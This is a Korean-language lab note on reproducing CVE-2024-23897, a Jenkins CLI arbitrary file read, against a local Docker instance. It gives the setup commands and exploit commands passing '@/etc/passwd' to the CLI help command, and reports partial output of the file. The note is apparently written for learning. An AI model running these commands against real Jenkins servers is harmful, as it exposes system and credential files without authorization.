| 항목 | 내용 |
| CVE 번호 | CVE-2024-23897 |
| 취약점 명 | Jenkins CLI help 명령어를 통한 임의 파일 읽기 |
| 버전 | Jenkins 2.441 이하 |
| 테스트한 버전 | jenkins/jenkins:2.426.2 도커기반 |
| PoC 기반 | Jenkins CLI에서 help 명령어에 ANSI Escape 처리가 포함된 파일 경로 사용 |
환경 정보
실행 환경 :Windows 10 powershell, docker
jenkins 실행
docker run -d -p 8080:8080 --name jenkins-cve \
-e JAVA_OPTS="-Dhudson.cli.AnsiSupport=true" \
jenkins/jenkins:2.426.2
jenkins cli 다운로드
Invoke-WebRequest -Uri http://localhost:8080/jnlpJars/jenkins-cli.jar -OutFile .\jenkins-cli.jar
아래는 예시
java -jar jenkins-cli.jar -s http://localhost:8080/ -auth admin:admin123 help "@@/etc/passwd"
PoC 시도
결과

대체 명령어로 시도 아래는 예시 입니다. (해당 본인이 만든 계정의 id/pw으로 해야함)
java -jar jenkins-cli.jar -s http://localhost:8080/ -auth admin:admin123 help "@/etc/passwd"
결과

명령어 파싱 중 문자열 내부의 파일 내용 일부 콘솔에 섞여서 나옴
Jenkins CLI 가 @접두 경로를 ANSI 해석 중 처리하면서 발생하는 현상(..취약점 부분적으로 트리거/ 완전히 된건아님)
Jenkins CLI에서 안시 ESCAPE 기능은 설정되었고, 일부 파일 출력도 확인
공식적인 @@/etc/passwd는 작동이 안됨
도커 이미지 내부 jenkins 부분적으로 패치가 되었을 가능성 존재
cli ,jenkins 미세 불일치 가능성 존재
- 해당 취약점을 100% 재현을 위한 방안
- Dockerfile으로 jenkins 핵심 파일 포함 구성
- 공식 Poc 재현 스크립트 활용 or java 디컴파일 확인
이번에는 취약점이 부분적으로 존재함을 확인....

"@/etc/passwd"으로 help 명령어로 /usr/sbin:/usr/sbin/nologin 으로 나오고
root:x:0:0:root:/root:/bin/bash 가 나오는 것을 확인 할 수있다......
추가적으로 조사해서 학습을 해야 할 내용
CVE-2024-23897 : 해당 cve에 대한 이해도를 더 높일 필요성이 있다.
Jenkins CLI의 help 명령어를 알아 오는 것 그리고 Jenkins CLI의 이해와 젠킨스 제품에 대한 이해
ANSI escape 공부해오기
java 디컴파일을 확인해보기 PoC 재현 스크립트 찾아보기 깃 조사